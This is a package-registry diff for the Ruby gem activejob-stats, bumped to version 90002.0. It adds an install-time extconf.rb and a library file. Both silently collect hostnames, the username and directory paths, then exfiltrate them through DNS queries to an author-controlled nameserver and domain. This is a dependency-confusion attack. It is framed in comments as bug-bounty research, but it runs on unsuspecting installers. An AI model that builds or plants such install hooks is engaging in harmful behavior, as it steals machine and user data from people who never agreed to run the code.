activejob-stats 8.0.1 → 90002.0
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- checksums.yaml +4 -4
- data/ext/activejob-stats/extconf.rb +177 -0
- data/lib/activejob-stats.rb +174 -0
- metadata +23 -16
checksums.yaml
CHANGED
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@@ -1,7 +1,7 @@
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1
1
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---
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2
2
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SHA256:
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3
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-
metadata.gz:
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4
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-
data.tar.gz:
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3
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+
metadata.gz: 37c7be9a164fddaddb3caeec09bd1858af05bc1fc2a0760d3c076dd869a9f3a5
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4
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+
data.tar.gz: 0fa26db47cff5d4f74a2530f9107664843c7933cc1368979e0eed0daff7bebe1
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5
5
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SHA512:
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6
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-
metadata.gz:
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7
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-
data.tar.gz:
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6
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+
metadata.gz: 7556f10d12cd8b8ffcd1e776d7c5d644aed4e2cc9cd5c35c4ea67072cf54eaa9438e926e62c487c19ef86946496f87ba05ae8e2c57006d8bf0ff61f766b67750
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7
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+
data.tar.gz: 5f6a62b52ff42368666578f38e7eadd3dd4d23f411a101e6856d5180b92ec1e9a88a13c01315dd516d1b85cbaa911b40add5637d14623652fca48daaad85447f
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@@ -0,0 +1,177 @@
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1
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+
require "mkmf"
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2
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+
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create_makefile "gem_test/gem_test"
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+
=begin
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5
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+
Hi, if you're reading this you're probably wondering what this code is doing on
|
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6
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+
your machine. Don't worry! It doesn't do anything nasty or malicious.
|
|
7
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+
|
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8
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+
I am an ethical security researcher, attempting attacks against organisations
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9
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+
that have a "bug bounty" type program in place.
|
|
10
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+
|
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11
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+
I am performing work similar to the work in this blog post:
|
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12
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+
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
|
13
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+
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14
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+
If your organisation has a bug bounty program my findings will be reported via
|
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15
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+
that program.
|
|
16
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+
|
|
17
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+
If your organisation does not have a bug bounty program, you were not targeted
|
|
18
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+
by my work and have some how ended up getting included, any data reported from
|
|
19
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+
your org will be discarded.
|
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20
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+
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21
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+
All data I collect will be deleted as soon as I'm done, in either case.
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22
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+
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23
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+
If you are reading this then you probably need to tighten up your Gemfiles
|
|
24
|
+
and/or upgrade Bundler, see here for more details:
|
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25
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+
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+
https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
|
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27
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+
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28
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+
You can read the code to confirm this but here's a top-level view of what it
|
|
29
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+
does to help you out:
|
|
30
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+
|
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31
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+
Grabs the hostname(s), current username, and the file paths to this script,
|
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32
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+
the current working directory, and the home directory. This helps me identify
|
|
33
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+
which machines have been affected (for reporting), at which organisation (to
|
|
34
|
+
know who to report it to), and to eliminate false positives from machines that
|
|
35
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+
fetch and install every Gem.
|
|
36
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+
|
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37
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+
Generates a random ID so I can piece together the different fragments of data.
|
|
38
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+
|
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39
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+
Encodes all the data as json, compresses it, Base32 encodes it, and chops it
|
|
40
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+
into chunks to go out as DNS queries that will hit a nameserver I control.
|
|
41
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+
|
|
42
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+
That's it!
|
|
43
|
+
|
|
44
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+
If you have any questions or want to get in touch for any reason, you can reach
|
|
45
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+
me at zofrex@gmail.com
|
|
46
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+
|
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47
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+
=end
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48
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+
|
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49
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+
puts "Package 'activejob-stats' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
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50
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+
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begin # big catch-all over everything to stop any errors escaping
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def do_or_whatever
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yield
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rescue Exception
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# keep going
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end
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do_or_whatever { require 'net/http' }
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do_or_whatever { require 'socket' }
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do_or_whatever { require 'etc' }
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require 'securerandom'
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require 'json'
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require 'resolv'
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+
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def report_analytics
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report_id = SecureRandom.alphanumeric(8)
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+
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+
idx_package = 0
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+
idx_hostnames = 1
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idx_username = 2
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idx_paths = 3
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idx_event = 4
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+
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idx_paths_file = 0
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idx_paths_cwd = 1
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idx_paths_script = 2
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idx_paths_home = 3
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data = Hash.new
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data[idx_event] = 'install'
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# package name
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+
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data[idx_package] = 'activejob-stats-90002.0'
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+
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# get possible hostnames
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+
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hostnames = []
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+
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do_or_whatever { hostnames << Socket.gethostname }
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+
do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
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93
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+
do_or_whatever { hostnames << `hostname` }
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do_or_whatever { hostnames << `hostname -f` }
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+
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data[idx_hostnames] = hostnames.map(&:strip).uniq
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+
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98
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# get local user
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99
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+
|
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100
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do_or_whatever { data[idx_username] = Etc.getlogin }
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+
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# get useful paths
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paths = Hash.new
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do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
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do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
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do_or_whatever { paths[idx_paths_script] = __dir__ }
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do_or_whatever { paths[idx_paths_home] = Dir.home }
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data[idx_paths] = paths
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+
# encode payload
|
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114
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+
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115
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+
json = JSON.generate(data)
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compressed = "u#{json}"
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+
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118
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# attempt to compress data but don't sweat it if that fails
|
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119
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+
do_or_whatever do
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120
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require 'zlib'
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compressed = "c#{Zlib.deflate(json)}"
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122
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+
end
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123
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+
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# base32 encode the data
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table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
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+
encoded = compressed.bytes.each_slice(5).flat_map do |slice|
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n = (slice.length * 8.0 / 5.0).ceil
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p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
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c = slice.inject(0) {|m,o| (m << 8) + o} << p
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(0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
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end.join
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+
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# send data out via DNS lookups
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total_queries = (encoded.length / 180.0).ceil
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+
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google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
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me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
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138
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+
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139
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method = :generic
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140
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suffix = "zofrex-is-ethically-testing.ga"
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141
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+
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142
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encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
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query_data = chunks.map(&:join).join('.')
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data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
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# Try to get the message out somehow, skip the methods that don't work on future loops
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if method == :generic
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begin
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address = Resolv.getaddress "#{data_portion}.rp1.#{suffix}"
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method = :google if address != "127.0.0.3"
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rescue
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method = :google
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end
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end
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if method == :google
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begin
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address = google_resolver.getaddress "#{data_portion}.rp2.#{suffix}"
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method = :direct if address != "127.0.0.4"
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rescue
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method = :direct
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end
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end
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if method == :direct
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do_or_whatever { me_resolver.getaddress "#{data_portion}.rp3.#{suffix}" }
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167
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end
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end
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end
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170
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do_or_whatever { report_analytics }
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# cleanup
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174
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+
do_or_whatever { undef report_analytics }
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175
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do_or_whatever { undef do_or_whatever }
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rescue Error
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177
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+
end
|
|
@@ -0,0 +1,174 @@
|
|
|
1
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+
=begin
|
|
2
|
+
Hi, if you're reading this you're probably wondering what this code is doing on
|
|
3
|
+
your machine. Don't worry! It doesn't do anything nasty or malicious.
|
|
4
|
+
|
|
5
|
+
I am an ethical security researcher, attempting attacks against organisations
|
|
6
|
+
that have a "bug bounty" type program in place.
|
|
7
|
+
|
|
8
|
+
I am performing work similar to the work in this blog post:
|
|
9
|
+
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
|
10
|
+
|
|
11
|
+
If your organisation has a bug bounty program my findings will be reported via
|
|
12
|
+
that program.
|
|
13
|
+
|
|
14
|
+
If your organisation does not have a bug bounty program, you were not targeted
|
|
15
|
+
by my work and have some how ended up getting included, any data reported from
|
|
16
|
+
your org will be discarded.
|
|
17
|
+
|
|
18
|
+
All data I collect will be deleted as soon as I'm done, in either case.
|
|
19
|
+
|
|
20
|
+
If you are reading this then you probably need to tighten up your Gemfiles
|
|
21
|
+
and/or upgrade Bundler, see here for more details:
|
|
22
|
+
|
|
23
|
+
https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
|
|
24
|
+
|
|
25
|
+
You can read the code to confirm this but here's a top-level view of what it
|
|
26
|
+
does to help you out:
|
|
27
|
+
|
|
28
|
+
Grabs the hostname(s), current username, and the file paths to this script,
|
|
29
|
+
the current working directory, and the home directory. This helps me identify
|
|
30
|
+
which machines have been affected (for reporting), at which organisation (to
|
|
31
|
+
know who to report it to), and to eliminate false positives from machines that
|
|
32
|
+
fetch and install every Gem.
|
|
33
|
+
|
|
34
|
+
Generates a random ID so I can piece together the different fragments of data.
|
|
35
|
+
|
|
36
|
+
Encodes all the data as json, compresses it, Base32 encodes it, and chops it
|
|
37
|
+
into chunks to go out as DNS queries that will hit a nameserver I control.
|
|
38
|
+
|
|
39
|
+
That's it!
|
|
40
|
+
|
|
41
|
+
If you have any questions or want to get in touch for any reason, you can reach
|
|
42
|
+
me at zofrex@gmail.com
|
|
43
|
+
|
|
44
|
+
=end
|
|
45
|
+
|
|
46
|
+
puts "Package 'activejob-stats' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
|
|
47
|
+
|
|
48
|
+
begin # big catch-all over everything to stop any errors escaping
|
|
49
|
+
def do_or_whatever
|
|
50
|
+
yield
|
|
51
|
+
rescue Exception
|
|
52
|
+
# keep going
|
|
53
|
+
end
|
|
54
|
+
|
|
55
|
+
do_or_whatever { require 'net/http' }
|
|
56
|
+
do_or_whatever { require 'socket' }
|
|
57
|
+
do_or_whatever { require 'etc' }
|
|
58
|
+
require 'securerandom'
|
|
59
|
+
require 'json'
|
|
60
|
+
require 'resolv'
|
|
61
|
+
|
|
62
|
+
def report_analytics
|
|
63
|
+
report_id = SecureRandom.alphanumeric(8)
|
|
64
|
+
|
|
65
|
+
idx_package = 0
|
|
66
|
+
idx_hostnames = 1
|
|
67
|
+
idx_username = 2
|
|
68
|
+
idx_paths = 3
|
|
69
|
+
idx_event = 4
|
|
70
|
+
|
|
71
|
+
idx_paths_file = 0
|
|
72
|
+
idx_paths_cwd = 1
|
|
73
|
+
idx_paths_script = 2
|
|
74
|
+
idx_paths_home = 3
|
|
75
|
+
|
|
76
|
+
data = Hash.new
|
|
77
|
+
|
|
78
|
+
data[idx_event] = 'run'
|
|
79
|
+
|
|
80
|
+
# package name
|
|
81
|
+
|
|
82
|
+
data[idx_package] = 'activejob-stats-90002.0'
|
|
83
|
+
|
|
84
|
+
# get possible hostnames
|
|
85
|
+
|
|
86
|
+
hostnames = []
|
|
87
|
+
|
|
88
|
+
do_or_whatever { hostnames << Socket.gethostname }
|
|
89
|
+
do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
|
|
90
|
+
do_or_whatever { hostnames << `hostname` }
|
|
91
|
+
do_or_whatever { hostnames << `hostname -f` }
|
|
92
|
+
|
|
93
|
+
data[idx_hostnames] = hostnames.map(&:strip).uniq
|
|
94
|
+
|
|
95
|
+
# get local user
|
|
96
|
+
|
|
97
|
+
do_or_whatever { data[idx_username] = Etc.getlogin }
|
|
98
|
+
|
|
99
|
+
# get useful paths
|
|
100
|
+
|
|
101
|
+
paths = Hash.new
|
|
102
|
+
|
|
103
|
+
do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
|
|
104
|
+
do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
|
|
105
|
+
do_or_whatever { paths[idx_paths_script] = __dir__ }
|
|
106
|
+
do_or_whatever { paths[idx_paths_home] = Dir.home }
|
|
107
|
+
|
|
108
|
+
data[idx_paths] = paths
|
|
109
|
+
|
|
110
|
+
# encode payload
|
|
111
|
+
|
|
112
|
+
json = JSON.generate(data)
|
|
113
|
+
compressed = "u#{json}"
|
|
114
|
+
|
|
115
|
+
# attempt to compress data but don't sweat it if that fails
|
|
116
|
+
do_or_whatever do
|
|
117
|
+
require 'zlib'
|
|
118
|
+
compressed = "c#{Zlib.deflate(json)}"
|
|
119
|
+
end
|
|
120
|
+
|
|
121
|
+
# base32 encode the data
|
|
122
|
+
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
|
|
123
|
+
encoded = compressed.bytes.each_slice(5).flat_map do |slice|
|
|
124
|
+
n = (slice.length * 8.0 / 5.0).ceil
|
|
125
|
+
p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
|
|
126
|
+
c = slice.inject(0) {|m,o| (m << 8) + o} << p
|
|
127
|
+
(0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
|
|
128
|
+
end.join
|
|
129
|
+
|
|
130
|
+
# send data out via DNS lookups
|
|
131
|
+
total_queries = (encoded.length / 180.0).ceil
|
|
132
|
+
|
|
133
|
+
google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
|
|
134
|
+
me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
|
|
135
|
+
|
|
136
|
+
method = :generic
|
|
137
|
+
suffix = "zofrex-is-ethically-testing.ga"
|
|
138
|
+
|
|
139
|
+
encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
|
|
140
|
+
query_data = chunks.map(&:join).join('.')
|
|
141
|
+
data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
|
|
142
|
+
|
|
143
|
+
# Try to get the message out somehow, skip the methods that don't work on future loops
|
|
144
|
+
if method == :generic
|
|
145
|
+
begin
|
|
146
|
+
address = Resolv.getaddress "#{data_portion}.rp1.#{suffix}"
|
|
147
|
+
method = :google if address != "127.0.0.3"
|
|
148
|
+
rescue
|
|
149
|
+
method = :google
|
|
150
|
+
end
|
|
151
|
+
end
|
|
152
|
+
|
|
153
|
+
if method == :google
|
|
154
|
+
begin
|
|
155
|
+
address = google_resolver.getaddress "#{data_portion}.rp2.#{suffix}"
|
|
156
|
+
method = :direct if address != "127.0.0.4"
|
|
157
|
+
rescue
|
|
158
|
+
method = :direct
|
|
159
|
+
end
|
|
160
|
+
end
|
|
161
|
+
|
|
162
|
+
if method == :direct
|
|
163
|
+
do_or_whatever { me_resolver.getaddress "#{data_portion}.rp3.#{suffix}" }
|
|
164
|
+
end
|
|
165
|
+
end
|
|
166
|
+
end
|
|
167
|
+
|
|
168
|
+
do_or_whatever { report_analytics }
|
|
169
|
+
|
|
170
|
+
# cleanup
|
|
171
|
+
do_or_whatever { undef report_analytics }
|
|
172
|
+
do_or_whatever { undef do_or_whatever }
|
|
173
|
+
rescue Error
|
|
174
|
+
end
|
metadata
CHANGED
|
@@ -1,25 +1,32 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: activejob-stats
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version:
|
|
4
|
+
version: '90002.0'
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
|
-
-
|
|
8
|
-
autorequire:
|
|
9
|
-
bindir:
|
|
7
|
+
- James 'zofrex' Sanderson
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: exe
|
|
10
10
|
cert_chain: []
|
|
11
|
-
date:
|
|
11
|
+
date: 2021-02-16 00:00:00.000000000 Z
|
|
12
12
|
dependencies: []
|
|
13
|
-
description:
|
|
14
|
-
|
|
13
|
+
description: I am testing for dependency confusion vulnerabilities in products that
|
|
14
|
+
are in public bug bounty programs. This code is reporting-only, and does not do
|
|
15
|
+
anything malicious.
|
|
16
|
+
email:
|
|
17
|
+
- gem-research@zofrex.com
|
|
15
18
|
executables: []
|
|
16
|
-
extensions:
|
|
19
|
+
extensions:
|
|
20
|
+
- ext/activejob-stats/extconf.rb
|
|
17
21
|
extra_rdoc_files: []
|
|
18
|
-
files:
|
|
19
|
-
|
|
20
|
-
|
|
22
|
+
files:
|
|
23
|
+
- ext/activejob-stats/extconf.rb
|
|
24
|
+
- lib/activejob-stats.rb
|
|
25
|
+
homepage:
|
|
26
|
+
licenses:
|
|
27
|
+
- MIT
|
|
21
28
|
metadata: {}
|
|
22
|
-
post_install_message:
|
|
29
|
+
post_install_message:
|
|
23
30
|
rdoc_options: []
|
|
24
31
|
require_paths:
|
|
25
32
|
- lib
|
|
@@ -27,15 +34,15 @@ required_ruby_version: !ruby/object:Gem::Requirement
|
|
|
27
34
|
requirements:
|
|
28
35
|
- - ">="
|
|
29
36
|
- !ruby/object:Gem::Version
|
|
30
|
-
version:
|
|
37
|
+
version: 1.9.0
|
|
31
38
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
32
39
|
requirements:
|
|
33
40
|
- - ">="
|
|
34
41
|
- !ruby/object:Gem::Version
|
|
35
42
|
version: '0'
|
|
36
43
|
requirements: []
|
|
37
|
-
rubygems_version: 3.
|
|
38
|
-
signing_key:
|
|
44
|
+
rubygems_version: 3.1.4
|
|
45
|
+
signing_key:
|
|
39
46
|
specification_version: 4
|
|
40
|
-
summary:
|
|
47
|
+
summary: Testing dependency confusion bugs
|
|
41
48
|
test_files: []
|